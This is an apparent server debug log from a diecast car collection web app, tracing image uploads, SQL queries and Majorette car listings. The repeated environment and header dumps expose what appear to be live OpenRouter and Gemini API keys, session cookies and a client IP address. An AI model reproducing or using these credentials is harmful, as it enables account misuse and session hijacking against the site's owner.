      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    }
  ]
}
2026-02-04T07:14:20.738Z server-connect:router Serving templateView /
2026-02-04T07:14:20.738Z server-connect:app Executing action step identify
2026-02-04T07:14:20.739Z server-connect:app options: { provider: 'security' }
2026-02-04T07:14:20.739Z server-connect:output identity: 1
2026-02-04T07:14:20.739Z server-connect:app Executing action step restrict
2026-02-04T07:14:20.739Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:14:20.739Z server-connect:output restrict: undefined
2026-02-04T07:14:20.739Z server-connect:app Executing action step restrict
2026-02-04T07:14:20.739Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:14:20.740Z server-connect:output restrict: undefined
2026-02-04T07:14:20.740Z server-connect:router Render template layouts/main
2026-02-04T07:14:20.740Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72&series=193',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72&series=193',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:14:29.023Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:14:29.024Z server-connect:app Executing action step identify
2026-02-04T07:14:29.024Z server-connect:app options: { provider: 'security' }
2026-02-04T07:14:29.024Z server-connect:output identity: 1
2026-02-04T07:14:29.024Z server-connect:app Executing action step restrict
2026-02-04T07:14:29.024Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:14:29.024Z server-connect:output restrict: undefined
2026-02-04T07:14:29.024Z server-connect:app Executing action step condition
2026-02-04T07:14:29.024Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:14:29.024Z server-connect:app Executing action step update
2026-02-04T07:14:29.025Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:14:29.025Z server-connect:output update: { affected: 1 }
2026-02-04T07:14:29.025Z server-connect:app Executing action step upload
2026-02-04T07:14:29.025Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:14:29.025Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T07:14:29.025Z server-connect:upload Process fields: 'images[]'
2026-02-04T07:14:29.025Z server-connect:upload Processing file: {
  name: '20260201_003743.jpg',
  data: <Buffer >,
  size: 218367,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-33-20378841770189269022',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '8f53f243675a95abcd08355d07707959',
  mv: [Function: mv]
}
2026-02-04T07:14:29.026Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/20260201_003743_2ad75325-1c76-4ef3-bc93-eed25b705e4d.jpg',
  rel: 'public/assets/images/diecast/20260201_003743_2ad75325-1c76-4ef3-bc93-eed25b705e4d.jpg'
}
2026-02-04T07:14:29.026Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/20260201_003743_2ad75325-1c76-4ef3-bc93-eed25b705e4d.jpg',
  rel: 'assets/images/diecast/20260201_003743_2ad75325-1c76-4ef3-bc93-eed25b705e4d.jpg'
}
2026-02-04T07:14:29.026Z server-connect:output upload_image: [
  {
    name: '20260201_003743_2ad75325-1c76-4ef3-bc93-eed25b705e4d.jpg',
    path: '/public/assets/images/diecast/20260201_003743_2ad75325-1c76-4ef3-bc93-eed25b705e4d.jpg',
    url: '/assets/images/diecast/20260201_003743_2ad75325-1c76-4ef3-bc93-eed25b705e4d.jpg',
    type: 'image/jpeg',
    size: 218367
  }
]
2026-02-04T07:14:29.026Z server-connect:app Executing action step repeat
2026-02-04T07:14:29.026Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:14:29.026Z server-connect:app Executing action step insert
2026-02-04T07:14:29.026Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T07:14:29.026Z server-connect:output images: { affected: 1, identity: 184 }
2026-02-04T07:14:29.026Z server-connect:output repeat_images: [ {} ]
2026-02-04T07:14:29.026Z server-connect:output condition: undefined
2026-02-04T07:14:29.240Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:14:29.240Z server-connect:app Executing action step identify
2026-02-04T07:14:29.240Z server-connect:app options: { provider: 'security' }
2026-02-04T07:14:29.240Z server-connect:output identity: 1
2026-02-04T07:14:29.240Z server-connect:app Executing action step restrict
2026-02-04T07:14:29.240Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:14:29.241Z server-connect:output restrict: undefined
2026-02-04T07:14:29.241Z server-connect:app Executing action step paged
2026-02-04T07:14:29.241Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:14:29.243Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    }
  ]
}
2026-02-04T07:14:29.448Z server-connect:router Serving templateView /
2026-02-04T07:14:29.448Z server-connect:app Executing action step identify
2026-02-04T07:14:29.448Z server-connect:app options: { provider: 'security' }
2026-02-04T07:14:29.448Z server-connect:output identity: 1
2026-02-04T07:14:29.448Z server-connect:app Executing action step restrict
2026-02-04T07:14:29.448Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:14:29.449Z server-connect:output restrict: undefined
2026-02-04T07:14:29.449Z server-connect:app Executing action step restrict
2026-02-04T07:14:29.449Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:14:29.449Z server-connect:output restrict: undefined
2026-02-04T07:14:29.449Z server-connect:router Render template layouts/main
2026-02-04T07:14:29.449Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72&series=193',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72&series=193',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:17:37.122Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:17:37.122Z server-connect:app Executing action step identify
2026-02-04T07:17:37.122Z server-connect:app options: { provider: 'security' }
2026-02-04T07:17:37.122Z server-connect:output identity: 1
2026-02-04T07:17:37.122Z server-connect:app Executing action step restrict
2026-02-04T07:17:37.122Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:17:37.124Z server-connect:output restrict: undefined
2026-02-04T07:17:37.124Z server-connect:app Executing action step condition
2026-02-04T07:17:37.125Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:17:37.125Z server-connect:app Executing action step update
2026-02-04T07:17:37.125Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:17:37.127Z server-connect:output update: { affected: 1 }
2026-02-04T07:17:37.127Z server-connect:app Executing action step upload
2026-02-04T07:17:37.127Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:17:37.127Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T07:17:37.127Z server-connect:upload Process fields: 'images[]'
2026-02-04T07:17:37.127Z server-connect:upload Processing file: {
  name: '20260201_003517.jpg',
  data: <Buffer >,
  size: 244472,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-34-20378841770189457120',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'ae58f02afe0ec82535a7b72806907269',
  mv: [Function: mv]
}
2026-02-04T07:17:37.127Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/20260201_003517_0b33ff79-157f-4f19-a2f8-fd663d71cea7.jpg',
  rel: 'public/assets/images/diecast/20260201_003517_0b33ff79-157f-4f19-a2f8-fd663d71cea7.jpg'
}
2026-02-04T07:17:37.127Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/20260201_003517_0b33ff79-157f-4f19-a2f8-fd663d71cea7.jpg',
  rel: 'assets/images/diecast/20260201_003517_0b33ff79-157f-4f19-a2f8-fd663d71cea7.jpg'
}
2026-02-04T07:17:37.127Z server-connect:output upload_image: [
  {
    name: '20260201_003517_0b33ff79-157f-4f19-a2f8-fd663d71cea7.jpg',
    path: '/public/assets/images/diecast/20260201_003517_0b33ff79-157f-4f19-a2f8-fd663d71cea7.jpg',
    url: '/assets/images/diecast/20260201_003517_0b33ff79-157f-4f19-a2f8-fd663d71cea7.jpg',
    type: 'image/jpeg',
    size: 244472
  }
]
2026-02-04T07:17:37.127Z server-connect:app Executing action step repeat
2026-02-04T07:17:37.127Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:17:37.127Z server-connect:app Executing action step insert
2026-02-04T07:17:37.127Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T07:17:37.128Z server-connect:output images: { affected: 1, identity: 185 }
2026-02-04T07:17:37.128Z server-connect:output repeat_images: [ {} ]
2026-02-04T07:17:37.128Z server-connect:output condition: undefined
2026-02-04T07:17:37.328Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:17:37.329Z server-connect:app Executing action step identify
2026-02-04T07:17:37.329Z server-connect:app options: { provider: 'security' }
2026-02-04T07:17:37.329Z server-connect:output identity: 1
2026-02-04T07:17:37.329Z server-connect:app Executing action step restrict
2026-02-04T07:17:37.329Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:17:37.330Z server-connect:output restrict: undefined
2026-02-04T07:17:37.330Z server-connect:app Executing action step paged
2026-02-04T07:17:37.330Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:17:37.333Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
